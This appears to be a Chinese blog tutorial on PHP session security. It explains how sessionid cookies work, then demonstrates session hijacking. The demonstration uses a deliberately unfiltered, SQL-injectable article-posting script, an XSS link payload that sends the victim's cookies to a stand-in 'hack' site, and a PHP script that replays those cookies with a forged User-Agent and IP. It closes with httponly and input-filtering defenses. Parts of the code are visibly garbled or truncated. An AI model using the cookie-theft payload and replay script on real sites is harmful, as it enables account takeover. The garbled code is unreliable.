session的安全性
session原理
提到session,⼤家肯定会联想到登录,登录成功后记录登录状态,同时标记当前登录⽤户是谁。功能⼤体上就是这个样⼦,但是今天要讲的不是功能,⽽是实现。通过探讨session的实现⽅式来发掘⼀些可能你之前不知道的有趣的事情。
为了记录session,在客户端和服务器端都要保存数据,客户端记录⼀个标记,服务器端不但存储了这个标记同时还存储了这个标记映射的数据。好吧,还是说点⽩话吧,在客户端记录的其实是⼀个sessionid,在服务器端记录的是⼀个key-value形式的数据结构,这⾥的key肯定是指sessionid了,value就代表session的详细内容。⽤户在做http请求的时候,总是会把sessionid传递给服务器,然后服务器根据这个sessionid来查询session的内容(也就是上⾯说到的value)。
现在我们重点关注⼀下sessionid,他是今天问题的关键所在。sessionid在客户端(http的客户端⼀般就是指浏览器了)是存储在cookie中,当然也有例外(书本上肯定会提到也有保存在url中的,我做程序员这么多年也没有见过这种⽅式,这难道就是现实和实际的差距吗,好残酷)。我们通过⼀个例⼦来阐述⼀下这个sessionid在session处理时的作⽤。⾸先假定这么⼀个场景,我们有⼀个cms(content management system,内容管理系统),这个应⽤有⼀个后台,⽤户必须登录才能进⼊后台进⾏⽂章发
表等操作。⾸先是登录流程,⽤户在浏览器输⼊⽤户名、密码,点击登录,浏览器会将⽤户名密码提交到服务器程序进⾏处理;服务器验证⽤户名、密码正确后,会返回登录成功信息,并且会修改服务器端的session内容,⽐如我们将⽤户ID写⼊session中,为了⽅便存储这些session的内容会被序列化成字符串或者⼆进制保存在⽂件或者数据库中,这时候⼤多数情况下服务器在对当前的http请求进⾏响应时,会返回⼀个新的sessionid要求浏览器写⼊本地cookie中,对应的返回的http响应头部信息应该会是是这个样⼦的:set-cookie:PHPSESSID=xxxxxxx,浏览器解析到这个头之后就会在当前⽣成⼀个cookie关联当前的域名。
图1.1 登录时序图接着⽤户登录后台进⾏发表⽂章操作,登录⽤户填写⽂章的标题、内容,然后点击发送。这时候浏览器会⽣成⼀条到服务器的http请求,注意这个请求的头部会将存储sessionid的cookie内容发送过去,也就是说请求的http头部信息中应该会有这么⼀段数据:
cookie:PHPSESSID=xxxxxxx;other_cookie_name=yyyyyy;服务器接收到这个http请求之后,解析到cookie存在,且cookie中存在PHPSESSID这个cookie名字,然后就将PHPSESSID的值(也就是sessionid的值)取出来,根据这个PHPSESSID查询服务器上有没有对应的session内容,如果有则将其对应的值取出来进⾏反序列序列化(也就是将其转成编程语⾔中的⼀个数据结果,⽐如在php中会得到⼀个$_SESSION数组,在j2ee中会得到类型为javax.servlet.http.HttpSession),⽅便在程序中进⾏读取,最终服务器认定session中储存的值存在,并且从反序列化得到的对象中读取到了⽤户ID属性,
然后就往cms数据库的⽂章表中插⼊了⼀条数据,最终返回http响应,告诉浏览器操作成功了。图1.2 发表⽂章时序图
⼊侵⽰例
关于cookie的⼀些属性,可以参考我的另⼀篇博⽂,⾥⾯会提到⼀个httponly的属性,也就是是否禁⽌js读取cookie。不幸的是很多常见的服务器(⽐如apache和tomcat)在⽣成这个存储sessionid的cookie的时候,没有设置httponly这个属性,也就是说js是可以将这个sessionid读取出来的。
js读取到sessionid,这会有问题吗?如果没有问题,我就不在这⾥啰嗦了。你⽹站上的运⾏的js代码并不⼀定是你写的,⽐如说⼀般⽹站都有⼀个发表⽂章或者说发帖的功能,如果别有⽤⼼的⼈在发表的时候填写了html代码(这些html⼀般是超链接或者图⽚),但是你的后台⼜没有将其过滤掉,发表出来的⽂章,被其他⼈点击了其中恶意链接时,就出事了。这也就是我们常说的XSS。
<?php
session_start();
$result=array();
if(!isset($_SESSION['uid'])||!$_SESSION['uid']){
$result['code']=2;
$result['msg']='尚未登录';
}else{
$uid=$_SESSION['uid'];
require_once('../globaldb.php');
if(!isset($_POST['title'])||!$_POST['title']){
$result['code']=4;
$result['msg']='标题为空';
goto end;
}
if(!isset($_POST['content'])||!$_POST['content']){
$result['code']=4;
$result['msg']='内容为空';session如何设置和读取
goto end;
}
if($db->getStatus()){
$title=$_POST['title'];
$content=$_POST['content'];
$sql='insert into article(title,content,uid,create_time) values("'.$title.'","'.$content.'",'.$uid.',now())';
$rv=$db->dbExecute($sql);
if($rv>0){
$result['code']=0;
}else{
$result['code']=3;
$result['msg']='插⼊失败';
}
}else{
$result['code']=1;
$result['msg']='数据库操作失败';
}
}
end:
echo(json_encode($result));
代码2.1 添加⽂章的后台代码这⾥给出了⼀段不靠谱代码,之所以这么说是由于对于提交的内容没有做过滤,⽐如说content表单域的内容。现在假设有这么两个⽹站,⼀个你⾃⼰的CMS⽹站,域名mycms.whyun,⼀个⿊客⽤的⽹站,域名hack。你可以通过配置hosts来模拟这两个⽹站,说到这⾥可还是推荐⼀下我之前做过的⼯具,可以⾃动⽣成hosts和vhost配置。代码2.1正是mycms⽹站的代码。登录mycms后在后台添加⼀篇⽂章,⽂章内容为:
<a href=\"#\" onclick=\'javascript:kie);return false;\'>点击我,有惊喜!</a>
代码2.2 alert cookie 图2.1 显⽰cookie的html
打开刚才⽣成的⽂章链接,然后点击点击我,有惊喜!,会显⽰当前域下的所有cookie。
图2.2 cookie被alert出来
当然要想做到攻击的⽬的仅仅做这些是不够的,下⾯将这个链接的内容做的丰富多彩些。
<a href=\"#\" onclick=\'javascript:var link = this; var head = ElementsByTagName(\"head\")[0]; var js = ateEle ment(\"script\"); js.src = \"hack/httphack.php?cook=\"+kie); js.onload = js.on readystatechange = function(){ if (!adyState || adyState == \"loaded\" || adyState == \"complete\") {veChild(j s); alert(\"over\");}}; head.appendChild(js);return false;\'>点击我,有惊喜2!</a>
代码2.3 跨站请求这⾥为了将代码嵌⼊html,得将其写作⼀⾏,其简洁模式为:
var link =this;
var head = ElementsByTagName("head")[0];
var js = ateElement("script");
js.src ="hack/httphack.php?cook="+kie);
if(!adyState ||adyState =="loaded"||adyState =="complete"){
alert('开始跳转真正的地址');location.Attribute("href");//
}
};
head.appendChild(js);
代码2.4 跨站请求简洁版为了真正的体现他是超链接还是跳转到⼀个地址为妙,所以在简洁班中脚本加载结束后做了跳转,但是为了演⽰⽅便,我们在代码2.3中没有这么做。现在再点击链接点击我,有惊喜!,查看⼀下⼀下⽹络请求,会发现⼀个到
接着看看httphack.php⼲了啥:
<?php
error_reporting(E_ALL);
header("Content-type:application/javascript");
function getRealIp()
{
$ip='127.0.0.1';
$ipname=array(
'REMOTE_ADDR',
'HTTP_CLIENT_IP',
'HTTP_X_FORWARDED_FOR',
'HTTP_X_FORWARDED',
'HTTP_X_CLUSTER_CLIENT_IP',
'HTTP_FORWARDED_FOR',
'HTTP_FORWARDED'
);
foreach($ipname as$value)
{
if(isset($_SERVER[$value])&&$_SERVER[$value]){
$ip=$_SERVER[$value];
break;
}
}
return$ip;
}
$ip= getRealIp();
$cookies= isset($_GET['cook'])?$_GET['cook']:'';
$headers=array(
'User-Agent:'.$_SERVER['HTTP_USER_AGENT'],
'X-FORWARDED-FOR:'.$ip,
'Remote-Addr:'.$ip,
'Cookie:'.$cookies
);
$ch= curl_init();
curl_setopt($ch, CURLOPT_URL,"mycms.whyun/back/article/article_add.php");
// 设置cURL 参数,要求结果保存到字符串中还是输出到屏幕上。
curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
curl_setopt($ch, CURLOPT_HTTPHEADER,$headers);//构造IP
curl_setopt($ch, CURLOPT_REFERER,$_SERVER['HTTP_REFERER']);//构造来路
curl_setopt($ch, CURLOPT_HEADER,0);
curl_setopt($ch, CURLOPT_POST,true);
$params=array('title'=>'这是跨站攻击测试','content'=>'⽹站被跨站攻击了');
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params));
$out= curl_exec($ch);
curl_close($ch);
$data= json_encode($headers);
echo"var data = $out;";
代码2.5 伪造session提交
从代码2.5中可以看出,我们伪造了http请求的header内容,吧浏览器中mycms域的cookie原封不动传过去了,同时在header还伪造了user-agent和ip,mycms中在校验session的时候,发现sessionid和user-agent信息都是对的,所以认为session是存在且合法的!⾄此为⽌,我们完成了跨站请求攻击。
3.防范
第⼆章节中,我们的攻击思路是这样的,我们⽰例了通过js获取cookie,然后⽣成⼀个第三⽅⽹站的⽹络请求,然后再从第三⽅⽹站发起⼀个⽹络请求到我们⾃⼰的⽹站上。整个更急流程⼤体是这样的:
图3.1 跨站请求流程
从图3.1可以看出,让整个流程⽆法进⾏下去的措施有两个,⼀个就是加强对提交信息和页⾯显⽰信息的过滤,让⾮法提交内容⽆处施展;第⼆个就是让存储在cookie中的sessionid不能被js读取到,这样即使第⼀步出现漏洞的情况下,依然不会被攻击者⾛完整个攻击流程。
在php中设置sessionid的httponly属性的⽅法有很多,具体可以参考 stackoverflow上的⼀个。jsp中也是有很多⽅法,可以参考开源中国红薯发表的⼀篇。这⾥仅仅贴出来php中⼀个解决⽅法,就是在session_start()之后重新设置⼀下cookie:
<?php
$sess_name= session_name();//必须在session_start之前调⽤session_name
if(session_start()){
setcookie($sess_name, session_id(),null,'/',null,null,true);
}
代码3.1 设置httponly属性为true
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论